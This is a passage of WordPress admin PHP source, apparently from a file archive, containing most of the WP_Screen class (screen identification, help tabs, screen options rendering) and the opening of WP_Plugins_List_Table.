			if ( str_ends_with( $id, '.php' ) ) {
				$id = substr( $id, 0, -4 );
			}

			if ( in_array( $id, array( 'post-new', 'link-add', 'media-new', 'user-new' ), true ) ) {
				$id     = substr( $id, 0, -4 );
				$action = 'add';
			}
		}

		if ( ! $post_type && $hook_name ) {
			if ( str_ends_with( $id, '-network' ) ) {
				$id       = substr( $id, 0, -8 );
				$in_admin = 'network';
			} elseif ( str_ends_with( $id, '-user' ) ) {
				$id       = substr( $id, 0, -5 );
				$in_admin = 'user';
			}

			$id = sanitize_key( $id );
			if ( 'edit-comments' !== $id && 'edit-tags' !== $id && str_starts_with( $id, 'edit-' ) ) {
				$maybe = substr( $id, 5 );
				if ( taxonomy_exists( $maybe ) ) {
					$id       = 'edit-tags';
					$taxonomy = $maybe;
				} elseif ( post_type_exists( $maybe ) ) {
					$id        = 'edit';
					$post_type = $maybe;
				}
			}

			if ( ! $in_admin ) {
				$in_admin = 'site';
			}
		} else {
			if ( defined( 'WP_NETWORK_ADMIN' ) && WP_NETWORK_ADMIN ) {
				$in_admin = 'network';
			} elseif ( defined( 'WP_USER_ADMIN' ) && WP_USER_ADMIN ) {
				$in_admin = 'user';
			} else {
				$in_admin = 'site';
			}
		}

		if ( 'index' === $id ) {
			$id = 'dashboard';
		} elseif ( 'front' === $id ) {
			$in_admin = false;
		}

		$base = $id;

		// If this is the current screen, see if we can be more accurate for post types and taxonomies.
		if ( ! $hook_name ) {
			if ( isset( $_REQUEST['post_type'] ) ) {
				$post_type = post_type_exists( $_REQUEST['post_type'] ) ? $_REQUEST['post_type'] : false;
			}
			if ( isset( $_REQUEST['taxonomy'] ) ) {
				$taxonomy = taxonomy_exists( $_REQUEST['taxonomy'] ) ? $_REQUEST['taxonomy'] : false;
			}

			switch ( $base ) {
				case 'post':
					if ( isset( $_GET['post'] ) && isset( $_POST['post_ID'] ) && (int) $_GET['post'] !== (int) $_POST['post_ID'] ) {
						wp_die( __( 'A post ID mismatch has been detected.' ), __( 'Sorry, you are not allowed to edit this item.' ), 400 );
					} elseif ( isset( $_GET['post'] ) ) {
						$post_id = (int) $_GET['post'];
					} elseif ( isset( $_POST['post_ID'] ) ) {
						$post_id = (int) $_POST['post_ID'];
					} else {
						$post_id = 0;
					}

					if ( $post_id ) {
						$post = get_post( $post_id );
						if ( $post ) {
							$post_type = $post->post_type;

							/** This filter is documented in wp-admin/post.php */
							$replace_editor = apply_filters( 'replace_editor', false, $post );

							if ( ! $replace_editor ) {
								$is_block_editor = use_block_editor_for_post( $post );
							}
						}
					}
					break;
				case 'edit-tags':
				case 'term':
					if ( null === $post_type && is_object_in_taxonomy( 'post', $taxonomy ? $taxonomy : 'post_tag' ) ) {
						$post_type = 'post';
					}
					break;
				case 'upload':
					$post_type = 'attachment';
					break;
			}
		}

		switch ( $base ) {
			case 'post':
				if ( null === $post_type ) {
					$post_type = 'post';
				}

				// When creating a new post, use the default block editor support value for the post type.
				if ( empty( $post_id ) ) {
					$is_block_editor = use_block_editor_for_post_type( $post_type );
				}

				$id = $post_type;
				break;
			case 'edit':
				if ( null === $post_type ) {
					$post_type = 'post';
				}
				$id .= '-' . $post_type;
				break;
			case 'edit-tags':
			case 'term':
				if ( null === $taxonomy ) {
					$taxonomy = 'post_tag';
				}
				// The edit-tags ID does not contain the post type. Look for it in the request.
				if ( null === $post_type ) {
					$post_type = 'post';
					if ( isset( $_REQUEST['post_type'] ) && post_type_exists( $_REQUEST['post_type'] ) ) {
						$post_type = $_REQUEST['post_type'];
					}
				}

				$id = 'edit-' . $taxonomy;
				break;
		}

		if ( 'network' === $in_admin ) {
			$id   .= '-network';
			$base .= '-network';
		} elseif ( 'user' === $in_admin ) {
			$id   .= '-user';
			$base .= '-user';
		}

		if ( isset( self::$_registry[ $id ] ) ) {
			$screen = self::$_registry[ $id ];
			if ( get_current_screen() === $screen ) {
				return $screen;
			}
		} else {
			$screen     = new self();
			$screen->id = $id;
		}

		$screen->base            = $base;
		$screen->action          = $action;
		$screen->post_type       = (string) $post_type;
		$screen->taxonomy        = (string) $taxonomy;
		$screen->is_user         = ( 'user' === $in_admin );
		$screen->is_network      = ( 'network' === $in_admin );
		$screen->in_admin        = $in_admin;
		$screen->is_block_editor = $is_block_editor;

		self::$_registry[ $id ] = $screen;

		return $screen;
	}

	/**
	 * Makes the screen object the current screen.
	 *
	 * @see set_current_screen()
	 * @since 3.3.0
	 *
	 * @global WP_Screen $current_screen WordPress current screen object.
	 * @global string    $typenow        The post type of the current screen.
	 * @global string    $taxnow         The taxonomy of the current screen.
	 */
	public function set_current_screen() {
		global $current_screen, $taxnow, $typenow;

		$current_screen = $this;
		$typenow        = $this->post_type;
		$taxnow         = $this->taxonomy;

		/**
		 * Fires after the current screen has been set.
		 *
		 * @since 3.0.0
		 *
		 * @param WP_Screen $current_screen Current WP_Screen object.
		 */
		do_action( 'current_screen', $current_screen );
	}

	/**
	 * Constructor
	 *
	 * @since 3.3.0
	 */
	private function __construct() {}

	/**
	 * Indicates whether the screen is in a particular admin.
	 *
	 * @since 3.5.0
	 *
	 * @param string $admin The admin to check against (network | user | site).
	 *                      If empty any of the three admins will result in true.
	 * @return bool True if the screen is in the indicated admin, false otherwise.
	 */
	public function in_admin( $admin = null ) {
		if ( empty( $admin ) ) {
			return (bool) $this->in_admin;
		}

		return ( $admin === $this->in_admin );
	}

	/**
	 * Sets or returns whether the block editor is loading on the current screen.
	 *
	 * @since 5.0.0
	 *
	 * @param bool $set Optional. Sets whether the block editor is loading on the current screen or not.
	 * @return bool True if the block editor is being loaded, false otherwise.
	 */
	public function is_block_editor( $set = null ) {
		if ( null !== $set ) {
			$this->is_block_editor = (bool) $set;
		}

		return $this->is_block_editor;
	}

	/**
	 * Sets the old string-based contextual help for the screen for backward compatibility.
	 *
	 * @since 3.3.0
	 *
	 * @param WP_Screen $screen A screen object.
	 * @param string    $help   Help text.
	 */
	public static function add_old_compat_help( $screen, $help ) {
		self::$_old_compat_help[ $screen->id ] = $help;
	}

	/**
	 * Sets the parent information for the screen.
	 *
	 * This is called in admin-header.php after the menu parent for the screen has been determined.
	 *
	 * @since 3.3.0
	 *
	 * @param string $parent_file The parent file of the screen. Typically the $parent_file global.
	 */
	public function set_parentage( $parent_file ) {
		$this->parent_file         = $parent_file;
		list( $this->parent_base ) = explode( '?', $parent_file );
		$this->parent_base         = str_replace( '.php', '', $this->parent_base );
	}

	/**
	 * Adds an option for the screen.
	 *
	 * Call this in template files after admin.php is loaded and before admin-header.php is loaded
	 * to add screen options.
	 *
	 * @since 3.3.0
	 *
	 * @param string $option Option ID.
	 * @param mixed  $args   Option-dependent arguments.
	 */
	public function add_option( $option, $args = array() ) {
		$this->_options[ $option ] = $args;
	}

	/**
	 * Removes an option from the screen.
	 *
	 * @since 3.8.0
	 *
	 * @param string $option Option ID.
	 */
	public function remove_option( $option ) {
		unset( $this->_options[ $option ] );
	}

	/**
	 * Removes all options from the screen.
	 *
	 * @since 3.8.0
	 */
	public function remove_options() {
		$this->_options = array();
	}

	/**
	 * Gets the options registered for the screen.
	 *
	 * @since 3.8.0
	 *
	 * @return array Options with arguments.
	 */
	public function get_options() {
		return $this->_options;
	}

	/**
	 * Gets the arguments for an option for the screen.
	 *
	 * @since 3.3.0
	 *
	 * @param string       $option Option name.
	 * @param string|false $key    Optional. Specific array key for when the option is an array.
	 *                             Default false.
	 * @return string The option value if set, null otherwise.
	 */
	public function get_option( $option, $key = false ) {
		if ( ! isset( $this->_options[ $option ] ) ) {
			return null;
		}
		if ( $key ) {
			if ( isset( $this->_options[ $option ][ $key ] ) ) {
				return $this->_options[ $option ][ $key ];
			}
			return null;
		}
		return $this->_options[ $option ];
	}

	/**
	 * Gets the help tabs registered for the screen.
	 *
	 * @since 3.4.0
	 * @since 4.4.0 Help tabs are ordered by their priority.
	 *
	 * @return array Help tabs with arguments.
	 */
	public function get_help_tabs() {
		$help_tabs = $this->_help_tabs;

		$priorities = array();
		foreach ( $help_tabs as $help_tab ) {
			if ( isset( $priorities[ $help_tab['priority'] ] ) ) {
				$priorities[ $help_tab['priority'] ][] = $help_tab;
			} else {
				$priorities[ $help_tab['priority'] ] = array( $help_tab );
			}
		}

		ksort( $priorities );

		$sorted = array();
		foreach ( $priorities as $list ) {
			foreach ( $list as $tab ) {
				$sorted[ $tab['id'] ] = $tab;
			}
		}

		return $sorted;
	}

	/**
	 * Gets the arguments for a help tab.
	 *
	 * @since 3.4.0
	 *
	 * @param string $id Help Tab ID.
	 * @return array Help tab arguments.
	 */
	public function get_help_tab( $id ) {
		if ( ! isset( $this->_help_tabs[ $id ] ) ) {
			return null;
		}
		return $this->_help_tabs[ $id ];
	}

	/**
	 * Adds a help tab to the contextual help for the screen.
	 *
	 * Call this on the `load-$pagenow` hook for the relevant screen,
	 * or fetch the `$current_screen` object, or use get_current_screen()
	 * and then call the method from the object.
	 *
	 * You may need to filter `$current_screen` using an if or switch statement
	 * to prevent new help tabs from being added to ALL admin screens.
	 *
	 * @since 3.3.0
	 * @since 4.4.0 The `$priority` argument was added.
	 *
	 * @param array $args {
	 *     Array of arguments used to display the help tab.
	 *
	 *     @type string   $title    Title for the tab. Default false.
	 *     @type string   $id       Tab ID. Must be HTML-safe and should be unique for this menu.
	 *                              It is NOT allowed to contain any empty spaces. Default false.
	 *     @type string   $content  Optional. Help tab content in plain text or HTML. Default empty string.
	 *     @type callable $callback Optional. A callback to generate the tab content. Default false.
	 *     @type int      $priority Optional. The priority of the tab, used for ordering. Default 10.
	 * }
	 */
	public function add_help_tab( $args ) {
		$defaults = array(
			'title'    => false,
			'id'       => false,
			'content'  => '',
			'callback' => false,
			'priority' => 10,
		);
		$args     = wp_parse_args( $args, $defaults );

		$args['id'] = sanitize_html_class( $args['id'] );

		// Ensure we have an ID and title.
		if ( ! $args['id'] || ! $args['title'] ) {
			return;
		}

		// Allows for overriding an existing tab with that ID.
		$this->_help_tabs[ $args['id'] ] = $args;
	}

	/**
	 * Removes a help tab from the contextual help for the screen.
	 *
	 * @since 3.3.0
	 *
	 * @param string $id The help tab ID.
	 */
	public function remove_help_tab( $id ) {
		unset( $this->_help_tabs[ $id ] );
	}

	/**
	 * Removes all help tabs from the contextual help for the screen.
	 *
	 * @since 3.3.0
	 */
	public function remove_help_tabs() {
		$this->_help_tabs = array();
	}

	/**
	 * Gets the content from a contextual help sidebar.
	 *
	 * @since 3.4.0
	 *
	 * @return string Contents of the help sidebar.
	 */
	public function get_help_sidebar() {
		return $this->_help_sidebar;
	}

	/**
	 * Adds a sidebar to the contextual help for the screen.
	 *
	 * Call this in template files after admin.php is loaded and before admin-header.php is loaded
	 * to add a sidebar to the contextual help.
	 *
	 * @since 3.3.0
	 *
	 * @param string $content Sidebar content in plain text or HTML.
	 */
	public function set_help_sidebar( $content ) {
		$this->_help_sidebar = $content;
	}

	/**
	 * Gets the number of layout columns the user has selected.
	 *
	 * The layout_columns option controls the max number and default number of
	 * columns. This method returns the number of columns within that range selected
	 * by the user via Screen Options. If no selection has been made, the default
	 * provisioned in layout_columns is returned. If the screen does not support
	 * selecting the number of layout columns, 0 is returned.
	 *
	 * @since 3.4.0
	 *
	 * @return int Number of columns to display.
	 */
	public function get_columns() {
		return $this->columns;
	}

	/**
	 * Gets the accessible hidden headings and text used in the screen.
	 *
	 * @since 4.4.0
	 *
	 * @see set_screen_reader_content() For more information on the array format.
	 *
	 * @return string[] An associative array of screen reader text strings.
	 */
	public function get_screen_reader_content() {
		return $this->_screen_reader_content;
	}

	/**
	 * Gets a screen reader text string.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key Screen reader text array named key.
	 * @return string Screen reader text string.
	 */
	public function get_screen_reader_text( $key ) {
		if ( ! isset( $this->_screen_reader_content[ $key ] ) ) {
			return null;
		}
		return $this->_screen_reader_content[ $key ];
	}

	/**
	 * Adds accessible hidden headings and text for the screen.
	 *
	 * @since 4.4.0
	 *
	 * @param array $content {
	 *     An associative array of screen reader text strings.
	 *
	 *     @type string $heading_views      Screen reader text for the filter links heading.
	 *                                      Default 'Filter items list'.
	 *     @type string $heading_pagination Screen reader text for the pagination heading.
	 *                                      Default 'Items list navigation'.
	 *     @type string $heading_list       Screen reader text for the items list heading.
	 *                                      Default 'Items list'.
	 * }
	 */
	public function set_screen_reader_content( $content = array() ) {
		$defaults = array(
			'heading_views'      => __( 'Filter items list' ),
			'heading_pagination' => __( 'Items list navigation' ),
			'heading_list'       => __( 'Items list' ),
		);
		$content  = wp_parse_args( $content, $defaults );

		$this->_screen_reader_content = $content;
	}

	/**
	 * Removes all the accessible hidden headings and text for the screen.
	 *
	 * @since 4.4.0
	 */
	public function remove_screen_reader_content() {
		$this->_screen_reader_content = array();
	}

	/**
	 * Renders the screen's help section.
	 *
	 * This will trigger the deprecated filters for backward compatibility.
	 *
	 * @since 3.3.0
	 *
	 * @global string $screen_layout_columns
	 */
	public function render_screen_meta() {

		/**
		 * Filters the legacy contextual help list.
		 *
		 * @since 2.7.0
		 * @deprecated 3.3.0 Use {@see get_current_screen()->add_help_tab()} or
		 *                   {@see get_current_screen()->remove_help_tab()} instead.
		 *
		 * @param array     $old_compat_help Old contextual help.
		 * @param WP_Screen $screen          Current WP_Screen instance.
		 */
		self::$_old_compat_help = apply_filters_deprecated(
			'contextual_help_list',
			array( self::$_old_compat_help, $this ),
			'3.3.0',
			'get_current_screen()->add_help_tab(), get_current_screen()->remove_help_tab()'
		);

		$old_help = isset( self::$_old_compat_help[ $this->id ] ) ? self::$_old_compat_help[ $this->id ] : '';

		/**
		 * Filters the legacy contextual help text.
		 *
		 * @since 2.7.0
		 * @deprecated 3.3.0 Use {@see get_current_screen()->add_help_tab()} or
		 *                   {@see get_current_screen()->remove_help_tab()} instead.
		 *
		 * @param string    $old_help  Help text that appears on the screen.
		 * @param string    $screen_id Screen ID.
		 * @param WP_Screen $screen    Current WP_Screen instance.
		 */
		$old_help = apply_filters_deprecated(
			'contextual_help',
			array( $old_help, $this->id, $this ),
			'3.3.0',
			'get_current_screen()->add_help_tab(), get_current_screen()->remove_help_tab()'
		);

		// Default help only if there is no old-style block of text and no new-style help tabs.
		if ( empty( $old_help ) && ! $this->get_help_tabs() ) {

			/**
			 * Filters the default legacy contextual help text.
			 *
			 * @since 2.8.0
			 * @deprecated 3.3.0 Use {@see get_current_screen()->add_help_tab()} or
			 *                   {@see get_current_screen()->remove_help_tab()} instead.
			 *
			 * @param string $old_help_default Default contextual help text.
			 */
			$default_help = apply_filters_deprecated(
				'default_contextual_help',
				array( '' ),
				'3.3.0',
				'get_current_screen()->add_help_tab(), get_current_screen()->remove_help_tab()'
			);
			if ( $default_help ) {
				$old_help = '<p>' . $default_help . '</p>';
			}
		}

		if ( $old_help ) {
			$this->add_help_tab(
				array(
					'id'      => 'old-contextual-help',
					'title'   => __( 'Overview' ),
					'content' => $old_help,
				)
			);
		}

		$help_sidebar = $this->get_help_sidebar();

		$help_class = 'hidden';
		if ( ! $help_sidebar ) {
			$help_class .= ' no-sidebar';
		}

		// Time to render!
		?>
		<div id="screen-meta" class="metabox-prefs">

			<div id="contextual-help-wrap" class="<?php echo esc_attr( $help_class ); ?>" tabindex="-1" aria-label="<?php esc_attr_e( 'Contextual Help Tab' ); ?>">
				<div id="contextual-help-back"></div>
				<div id="contextual-help-columns">
					<div class="contextual-help-tabs">
						<ul>
						<?php
						$class = ' class="active"';
						foreach ( $this->get_help_tabs() as $tab ) :
							$link_id  = "tab-link-{$tab['id']}";
							$panel_id = "tab-panel-{$tab['id']}";
							?>

							<li id="<?php echo esc_attr( $link_id ); ?>"<?php echo $class; ?>>
								<a href="<?php echo esc_url( "#$panel_id" ); ?>" aria-controls="<?php echo esc_attr( $panel_id ); ?>">
									<?php echo esc_html( $tab['title'] ); ?>
								</a>
							</li>
							<?php
							$class = '';
						endforeach;
						?>
						</ul>
					</div>

					<?php if ( $help_sidebar ) : ?>
					<div class="contextual-help-sidebar">
						<?php echo $help_sidebar; ?>
					</div>
					<?php endif; ?>

					<div class="contextual-help-tabs-wrap">
						<?php
						$classes = 'help-tab-content active';
						foreach ( $this->get_help_tabs() as $tab ) :
							$panel_id = "tab-panel-{$tab['id']}";
							?>

							<div id="<?php echo esc_attr( $panel_id ); ?>" class="<?php echo $classes; ?>">
								<?php
								// Print tab content.
								echo $tab['content'];

								// If it exists, fire tab callback.
								if ( ! empty( $tab['callback'] ) ) {
									call_user_func_array( $tab['callback'], array( $this, $tab ) );
								}
								?>
							</div>
							<?php
							$classes = 'help-tab-content';
						endforeach;
						?>
					</div>
				</div>
			</div>
		<?php
		// Setup layout columns.

		/**
		 * Filters the array of screen layout columns.
		 *
		 * This hook provides back-compat for plugins using the back-compat
		 * Filters instead of add_screen_option().
		 *
		 * @since 2.8.0
		 *
		 * @param array     $empty_columns Empty array.
		 * @param string    $screen_id     Screen ID.
		 * @param WP_Screen $screen        Current WP_Screen instance.
		 */
		$columns = apply_filters( 'screen_layout_columns', array(), $this->id, $this );

		if ( ! empty( $columns ) && isset( $columns[ $this->id ] ) ) {
			$this->add_option( 'layout_columns', array( 'max' => $columns[ $this->id ] ) );
		}

		if ( $this->get_option( 'layout_columns' ) ) {
			$this->columns = (int) get_user_option( "screen_layout_$this->id" );

			if ( ! $this->columns && $this->get_option( 'layout_columns', 'default' ) ) {
				$this->columns = $this->get_option( 'layout_columns', 'default' );
			}
		}
		$GLOBALS['screen_layout_columns'] = $this->columns; // Set the global for back-compat.

		// Add screen options.
		if ( $this->show_screen_options() ) {
			$this->render_screen_options();
		}
		?>
		</div>
		<?php
		if ( ! $this->get_help_tabs() && ! $this->show_screen_options() ) {
			return;
		}
		?>
		<div id="screen-meta-links">
		<?php if ( $this->show_screen_options() ) : ?>
			<div id="screen-options-link-wrap" class="hide-if-no-js screen-meta-toggle">
			<button type="button" id="show-settings-link" class="button show-settings" aria-controls="screen-options-wrap" aria-expanded="false"><?php _e( 'Screen Options' ); ?></button>
			</div>
			<?php
		endif;
		if ( $this->get_help_tabs() ) :
			?>
			<div id="contextual-help-link-wrap" class="hide-if-no-js screen-meta-toggle">
			<button type="button" id="contextual-help-link" class="button show-settings" aria-controls="contextual-help-wrap" aria-expanded="false"><?php _e( 'Help' ); ?></button>
			</div>
		<?php endif; ?>
		</div>
		<?php
	}

	/**
	 * @global array $wp_meta_boxes
	 *
	 * @return bool
	 */
	public function show_screen_options() {
		global $wp_meta_boxes;

		if ( is_bool( $this->_show_screen_options ) ) {
			return $this->_show_screen_options;
		}

		$columns = get_column_headers( $this );

		$show_screen = ! empty( $wp_meta_boxes[ $this->id ] ) || $columns || $this->get_option( 'per_page' );

		$this->_screen_settings = '';

		if ( 'post' === $this->base ) {
			$expand                 = '<fieldset class="editor-expand hidden"><legend>' . __( 'Additional settings' ) . '</legend><label for="editor-expand-toggle">';
			$expand                .= '<input type="checkbox" id="editor-expand-toggle"' . checked( get_user_setting( 'editor_expand', 'on' ), 'on', false ) . ' />';
			$expand                .= __( 'Enable full-height editor and distraction-free functionality.' ) . '</label></fieldset>';
			$this->_screen_settings = $expand;
		}

		/**
		 * Filters the screen settings text displayed in the Screen Options tab.
		 *
		 * @since 3.0.0
		 *
		 * @param string    $screen_settings Screen settings.
		 * @param WP_Screen $screen          WP_Screen object.
		 */
		$this->_screen_settings = apply_filters( 'screen_settings', $this->_screen_settings, $this );

		if ( $this->_screen_settings || $this->_options ) {
			$show_screen = true;
		}

		/**
		 * Filters whether to show the Screen Options tab.
		 *
		 * @since 3.2.0
		 *
		 * @param bool      $show_screen Whether to show Screen Options tab.
		 *                               Default true.
		 * @param WP_Screen $screen      Current WP_Screen instance.
		 */
		$this->_show_screen_options = apply_filters( 'screen_options_show_screen', $show_screen, $this );
		return $this->_show_screen_options;
	}

	/**
	 * Renders the screen options tab.
	 *
	 * @since 3.3.0
	 *
	 * @param array $options {
	 *     Options for the tab.
	 *
	 *     @type bool $wrap Whether the screen-options-wrap div will be included. Defaults to true.
	 * }
	 */
	public function render_screen_options( $options = array() ) {
		$options = wp_parse_args(
			$options,
			array(
				'wrap' => true,
			)
		);

		$wrapper_start = '';
		$wrapper_end   = '';
		$form_start    = '';
		$form_end      = '';

		// Output optional wrapper.
		if ( $options['wrap'] ) {
			$wrapper_start = '<div id="screen-options-wrap" class="hidden" tabindex="-1" aria-label="' . esc_attr__( 'Screen Options Tab' ) . '">';
			$wrapper_end   = '</div>';
		}

		// Don't output the form and nonce for the widgets accessibility mode links.
		if ( 'widgets' !== $this->base ) {
			$form_start = "\n<form id='adv-settings' method='post'>\n";
			$form_end   = "\n" . wp_nonce_field( 'screen-options-nonce', 'screenoptionnonce', false, false ) . "\n</form>\n";
		}

		echo $wrapper_start . $form_start;

		$this->render_meta_boxes_preferences();
		$this->render_list_table_columns_preferences();
		$this->render_screen_layout();
		$this->render_per_page_options();
		$this->render_view_mode();
		echo $this->_screen_settings;

		/**
		 * Filters whether to show the Screen Options submit button.
		 *
		 * @since 4.4.0
		 *
		 * @param bool      $show_button Whether to show Screen Options submit button.
		 *                               Default false.
		 * @param WP_Screen $screen      Current WP_Screen instance.
		 */
		$show_button = apply_filters( 'screen_options_show_submit', false, $this );

		if ( $show_button ) {
			submit_button( __( 'Apply' ), 'primary', 'screen-options-apply', true );
		}

		echo $form_end . $wrapper_end;
	}

	/**
	 * Renders the meta boxes preferences.
	 *
	 * @since 4.4.0
	 *
	 * @global array $wp_meta_boxes
	 */
	public function render_meta_boxes_preferences() {
		global $wp_meta_boxes;

		if ( ! isset( $wp_meta_boxes[ $this->id ] ) ) {
			return;
		}
		?>
		<fieldset class="metabox-prefs">
		<legend><?php _e( 'Screen elements' ); ?></legend>
		<p>
			<?php _e( 'Some screen elements can be shown or hidden by using the checkboxes.' ); ?>
			<?php _e( 'Expand or collapse the elements by clicking on their headings, and arrange them by dragging their headings or by clicking on the up and down arrows.' ); ?>
		</p>
		<div class="metabox-prefs-container">
		<?php

		meta_box_prefs( $this );

		if ( 'dashboard' === $this->id && has_action( 'welcome_panel' ) && current_user_can( 'edit_theme_options' ) ) {
			if ( isset( $_GET['welcome'] ) ) {
				$welcome_checked = empty( $_GET['welcome'] ) ? 0 : 1;
				update_user_meta( get_current_user_id(), 'show_welcome_panel', $welcome_checked );
			} else {
				$welcome_checked = (int) get_user_meta( get_current_user_id(), 'show_welcome_panel', true );
				if ( 2 === $welcome_checked && wp_get_current_user()->user_email !== get_option( 'admin_email' ) ) {
					$welcome_checked = false;
				}
			}
			echo '<label for="wp_welcome_panel-hide">';
			echo '<input type="checkbox" id="wp_welcome_panel-hide"' . checked( (bool) $welcome_checked, true, false ) . ' />';
			echo _x( 'Welcome', 'Welcome panel' ) . "</label>\n";
		}
		?>
		</div>
		</fieldset>
		<?php
	}

	/**
	 * Renders the list table columns preferences.
	 *
	 * @since 4.4.0
	 */
	public function render_list_table_columns_preferences() {

		$columns = get_column_headers( $this );
		$hidden  = get_hidden_columns( $this );

		if ( ! $columns ) {
			return;
		}

		$legend = ! empty( $columns['_title'] ) ? $columns['_title'] : __( 'Columns' );
		?>
		<fieldset class="metabox-prefs">
		<legend><?php echo $legend; ?></legend>
		<?php
		$special = array( '_title', 'cb', 'comment', 'media', 'name', 'title', 'username', 'blogname' );

		foreach ( $columns as $column => $title ) {
			// Can't hide these for they are special.
			if ( in_array( $column, $special, true ) ) {
				continue;
			}

			if ( empty( $title ) ) {
				continue;
			}

			/*
			 * The Comments column uses HTML in the display name with some screen
			 * reader text. Make sure to strip tags from the Comments column
			 * title and any other custom column title plugins might add.
			 */
			$title = wp_strip_all_tags( $title );

			$id = "$column-hide";
			echo '<label>';
			echo '<input class="hide-column-tog" name="' . $id . '" type="checkbox" id="' . $id . '" value="' . $column . '"' . checked( ! in_array( $column, $hidden, true ), true, false ) . ' />';
			echo "$title</label>\n";
		}
		?>
		</fieldset>
		<?php
	}

	/**
	 * Renders the option for number of columns on the page.
	 *
	 * @since 3.3.0
	 */
	public function render_screen_layout() {
		if ( ! $this->get_option( 'layout_columns' ) ) {
			return;
		}

		$screen_layout_columns = $this->get_columns();
		$num                   = $this->get_option( 'layout_columns', 'max' );

		?>
		<fieldset class='columns-prefs'>
		<legend class="screen-layout"><?php _e( 'Layout' ); ?></legend>
		<?php for ( $i = 1; $i <= $num; ++$i ) : ?>
			<label class="columns-prefs-<?php echo $i; ?>">
			<input type='radio' name='screen_columns' value='<?php echo esc_attr( $i ); ?>' <?php checked( $screen_layout_columns, $i ); ?> />
			<?php
				printf(
					/* translators: %s: Number of columns on the page. */
					_n( '%s column', '%s columns', $i ),
					number_format_i18n( $i )
				);
			?>
			</label>
		<?php endfor; ?>
		</fieldset>
		<?php
	}

	/**
	 * Renders the items per page option.
	 *
	 * @since 3.3.0
	 */
	public function render_per_page_options() {
		if ( null === $this->get_option( 'per_page' ) ) {
			return;
		}

		$per_page_label = $this->get_option( 'per_page', 'label' );
		if ( null === $per_page_label ) {
			$per_page_label = __( 'Number of items per page:' );
		}

		$option = $this->get_option( 'per_page', 'option' );
		if ( ! $option ) {
			$option = str_replace( '-', '_', "{$this->id}_per_page" );
		}

		$per_page = (int) get_user_option( $option );
		if ( empty( $per_page ) || $per_page < 1 ) {
			$per_page = $this->get_option( 'per_page', 'default' );
			if ( ! $per_page ) {
				$per_page = 20;
			}
		}

		if ( 'edit_comments_per_page' === $option ) {
			$comment_status = isset( $_REQUEST['comment_status'] ) ? $_REQUEST['comment_status'] : 'all';

			/** This filter is documented in wp-admin/includes/class-wp-comments-list-table.php */
			$per_page = apply_filters( 'comments_per_page', $per_page, $comment_status );
		} elseif ( 'categories_per_page' === $option ) {
			/** This filter is documented in wp-admin/includes/class-wp-terms-list-table.php */
			$per_page = apply_filters( 'edit_categories_per_page', $per_page );
		} else {
			/** This filter is documented in wp-admin/includes/class-wp-list-table.php */
			$per_page = apply_filters( "{$option}", $per_page );
		}

		// Back compat.
		if ( isset( $this->post_type ) ) {
			/** This filter is documented in wp-admin/includes/post.php */
			$per_page = apply_filters( 'edit_posts_per_page', $per_page, $this->post_type );
		}

		// This needs a submit button.
		add_filter( 'screen_options_show_submit', '__return_true' );

		?>
		<fieldset class="screen-options">
		<legend><?php _e( 'Pagination' ); ?></legend>
			<?php if ( $per_page_label ) : ?>
				<label for="<?php echo esc_attr( $option ); ?>"><?php echo $per_page_label; ?></label>
				<input type="number" step="1" min="1" max="999" class="screen-per-page" name="wp_screen_options[value]"
					id="<?php echo esc_attr( $option ); ?>" maxlength="3"
					value="<?php echo esc_attr( $per_page ); ?>" />
			<?php endif; ?>
				<input type="hidden" name="wp_screen_options[option]" value="<?php echo esc_attr( $option ); ?>" />
		</fieldset>
		<?php
	}

	/**
	 * Renders the list table view mode preferences.
	 *
	 * @since 4.4.0
	 *
	 * @global string $mode List table view mode.
	 */
	public function render_view_mode() {
		global $mode;

		$screen = get_current_screen();

		// Currently only enabled for posts and comments lists.
		if ( 'edit' !== $screen->base && 'edit-comments' !== $screen->base ) {
			return;
		}

		$view_mode_post_types = get_post_types( array( 'show_ui' => true ) );

		/**
		 * Filters the post types that have different view mode options.
		 *
		 * @since 4.4.0
		 *
		 * @param string[] $view_mode_post_types Array of post types that can change view modes.
		 *                                       Default post types with show_ui on.
		 */
		$view_mode_post_types = apply_filters( 'view_mode_post_types', $view_mode_post_types );

		if ( 'edit' === $screen->base && ! in_array( $this->post_type, $view_mode_post_types, true ) ) {
			return;
		}

		if ( ! isset( $mode ) ) {
			$mode = get_user_setting( 'posts_list_mode', 'list' );
		}

		// This needs a submit button.
		add_filter( 'screen_options_show_submit', '__return_true' );
		?>
		<fieldset class="metabox-prefs view-mode">
			<legend><?php _e( 'View mode' ); ?></legend>
			<label for="list-view-mode">
				<input id="list-view-mode" type="radio" name="mode" value="list" <?php checked( 'list', $mode ); ?> />
				<?php _e( 'Compact view' ); ?>
			</label>
			<label for="excerpt-view-mode">
				<input id="excerpt-view-mode" type="radio" name="mode" value="excerpt" <?php checked( 'excerpt', $mode ); ?> />
				<?php _e( 'Extended view' ); ?>
			</label>
		</fieldset>
		<?php
	}

	/**
	 * Renders screen reader text.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key The screen reader text array named key.
	 * @param string $tag Optional. The HTML tag to wrap the screen reader text. Default h2.
	 */
	public function render_screen_reader_content( $key = '', $tag = 'h2' ) {

		if ( ! isset( $this->_screen_reader_content[ $key ] ) ) {
			return;
		}
		echo "<$tag class='screen-reader-text'>" . $this->_screen_reader_content[ $key ] . "</$tag>";
	}
}
class-wp-plugins-list-table.php000064400000142325150275632050012537 0ustar00<?php
/**
 * List Table API: WP_Plugins_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying installed plugins in a list table.
 *
 * @since 3.1.0
 *
 * @see WP_List_Table
 */
class WP_Plugins_List_Table extends WP_List_Table {
	/**
	 * Whether to show the auto-updates UI.
	 *
	 * @since 5.5.0
	 *
	 * @var bool True if auto-updates UI is to be shown, false otherwise.
	 */
	protected $show_autoupdates = true;

	/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_List_Table::__construct() for more information on default arguments.
	 *
	 * @global string $status
	 * @global int    $page
	 *
	 * @param array $args An associative array of arguments.
	 */
	public function __construct( $args = array() ) {
		global $status, $page;

		parent::__construct(
			array(
				'plural' => 'plugins',
				'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
			)
		);

		$allowed_statuses = array( 'active', 'inactive', 'recently_activated', 'upgrade', 'mustuse', 'dropins', 'search', 'paused', 'auto-update-enabled', 'auto-update-disabled' );

		$status = 'all';
		if ( isset( $_REQUEST['plugin_status'] ) && in_array( $_REQUEST['plugin_status'], $allowed_statuses, true ) ) {
